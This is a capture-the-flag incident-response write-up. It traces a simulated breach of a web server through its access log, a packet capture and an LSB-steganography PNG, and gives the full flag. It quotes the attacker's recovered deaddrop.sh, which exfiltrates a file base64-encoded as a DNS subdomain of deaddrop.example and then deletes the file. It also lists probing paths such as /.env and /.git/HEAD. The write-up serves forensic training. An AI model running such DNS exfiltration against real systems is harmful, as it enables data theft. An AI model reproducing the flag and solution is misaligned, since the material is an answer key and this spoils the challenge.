Dead Drop: Incident Response

Flag: KPMG_CTF{tr4ce_the_intrud3r_follow_the_tr4il}

Scenario

An internet-facing server, web01.northstar.local (192.168.56.20), was compromised. We have three artifacts: incident.pcap, access.log and server_image.png. The attacker took data out of the network and tried to cover their tracks. The flag is split into four pieces spread across all three files, and each piece uses a different encoding.

1. Triage the access log

access.log has 1,201 lines, mostly normal traffic from the internal 192.168.56.0/24 range. Filtering out the common paths (/health, /assets/*, /dashboard, /login, …) leaves the unusual requests:

grep -vE '"(GET|POST) /(api/v1/tickets[/0-9]*|assets/[a-z.]+|health|favicon\.ico|dashboard|login|docs/handbook|reports/q3\.pdf)? HTTP' access.log

One client stands out: 203.0.113.77. Its activity, in time order:

Time (IST) Request Meaning
01:42:50 GET /.env, /admin (403) Reconnaissance
01:43:05–12 POST /admin/login → 401, 401, 200 Login after two failed attempts
01:43:31 GET /admin/users Lists the users
01:44:10–01:45:08 /robots.txt, /backup.zip, /.git/HEAD, /upload … More probing
01:47:05 GET /admin/export?table=customers (2.4 MB) Data theft
01:47:40 GET /admin/export?table=credentials Data theft
01:49:15 POST /admin/upload?file=deaddrop.sh (UA DeadDrop-Agent/1.0) Uploads the exfiltration tool
01:51:58 GET /uploads/server_image.png The image artifact
01:54:20 GET /admin/logs Reads the logs
02:07:10 POST /admin/clearlogs Covers tracks

Grepping for the attacker’s custom user agent and the deaddrop tag finds the hidden pieces:

grep -nE '^\s|DeadDrop|deaddrop' access.log
312:   203.0.113.77 ... "POST /admin/notes?tag=deaddrop&layers=rot13,base64 ..."   <- indented line
401:203.0.113.77 [01:12:03] "GET /static/img/px.gif?part=1&d=X3ZhZ2VocTNl ..."
601:203.0.113.77 [03:00:20] "GET /static/img/px.gif?part=2&d=X3NieXliag== ..."
  • Line 312 has a leading space and gives the encoding: layers=rot13,base64.
  • Lines 401 and 601 are disguised as requests for a tracking pixel (px.gif), the same kind of request legitimate clients make with ?cb=. Their timestamps (01:12, before the attacker arrived, and 03:00) are out of order, which means the log was tampered with.

To decode, undo the layers in reverse order (base64 first, then ROT13):

$ echo X3ZhZ2VocTNl | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m'
_intrud3r
$ echo X3NieXliag== | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m'
_follow

Piece 1: _intrud3r · Piece 2: _follow

2. The network capture: DNS exfiltration

A conversation summary shows that most traffic involves 203.0.113.77:

tcpdump -nn -r incident.pcap | awk '{print $3,$4,$5}' | sed -E 's/\.[0-9]+ / /; s/\.[0-9]+:?$//' | sort | uniq -c | sort -rn

Other hosts in the capture:

  • 198.51.100.14: the Nmap scan seen in the log.
  • 192.0.2.88: short SSH sessions (SSH-2.0-Go client), probably brute force. They’re encrypted and not needed for the flag.

The HTTP traffic is plaintext, so the uploaded deaddrop.sh can be read straight from the capture:

tcpdump -nn -A -r incident.pcap 'tcp and host 203.0.113.77' | grep -A10 'deaddrop v1.2'
# deaddrop v1.2 - exfil over DNS
# usage: ./deaddrop.sh <file>
DATA=$(cat "${1:-/tmp/.note}" | base64 -w0)
dig +short "$DATA.deaddrop.example" @192.168.56.2
rm -f /tmp/.note
echo "[deaddrop] drop complete"

The script base64-encodes a file and sends it as the subdomain of a DNS lookup, then deletes the source file. Listing the DNS queries shows one odd name among the normal ones (github.com, pypi.org, …):

$ tcpdump -nn -r incident.pcap 'udp port 53' | grep -oE 'A\? [^ ]+' | sort | uniq -c
      3 A? S1BNR19DVEZ7dHI0Y2VfdGhl.deaddrop.example.
$ echo S1BNR19DVEZ7dHI0Y2VfdGhl | base64 -d
KPMG_CTF{tr4ce_the

Piece 0: KPMG_CTF{tr4ce_the

3. The image: LSB steganography

server_image.png (1280×800 RGB) looks like a harmless maintenance notice. It even says “Nothing to see here. Move along.” Its chunks are clean (IHDR / IDAT / IEND, no trailing data), so the next place to check is the pixel data.

Taking the least significant bit of each R, G, B byte in row-major order and packing the bits MSB-first:

from PIL import Image
import numpy as np
a = np.array(Image.open('server_image.png').convert('RGB')).reshape(-1)
print(np.packbits(a & 1).tobytes()[:64])
# b'DEAD_DROP::L52GQZK7ORZDI2LMPU======::END...'

The = padding to an 8-character block and the A–Z2–7 alphabet mean base32:

$ echo L52GQZK7ORZDI2LMPU====== | base32 -d
_the_tr4il}

Piece 3: _the_tr4il}

4. Putting it together

# Source Hidden as Encoding Plaintext
0 incident.pcap DNS query subdomain base64 KPMG_CTF{tr4ce_the
1 access.log px.gif?part=1&d= base64 → ROT13 _intrud3r
2 access.log px.gif?part=2&d= base64 → ROT13 _follow
3 server_image.png RGB LSB base32 _the_tr4il}

Piece 0 has the flag prefix, piece 3 has the closing brace, and the part= numbers order the middle pieces:

KPMG_CTF{tr4ce_the_intrud3r_follow_the_tr4il}

Attack timeline

  1. Recon: an Nmap NSE scan from 198.51.100.14, then manual probing from 203.0.113.77 (/.env, /.git/HEAD, /backup.zip, …).
  2. Initial access: /admin/login succeeded on the third attempt (credential guessing).
  3. Collection: the customers and credentials tables were exported through /admin/export.
  4. Tooling: deaddrop.sh was uploaded through /admin/upload.
  5. Exfiltration: data left over DNS to *.deaddrop.example through the internal resolver 192.168.56.2. More data was hidden in a PNG and in HTTP beacons disguised as tracking-pixel requests.
  6. Anti-forensics: /admin/clearlogs was called, /tmp/.note was deleted, and log lines were reordered.

Takeaways

  • Filter out the baseline first. Odd user agents (DeadDrop-Agent/1.0), out-of-order timestamps and whitespace anomalies stand out once normal traffic is removed.
  • Look at DNS for long, high-entropy subdomains. That is a classic exfiltration channel.
  • Plaintext HTTP in a capture often contains the attacker’s own tools.
  • Check images for LSB data even when the image looks harmless.
  • Recognize encodings by their alphabets: base64 (A–Za–z0–9+/=), base32 (A–Z2–7, = padding), and ROT13 (base64 output that decodes to almost-readable text).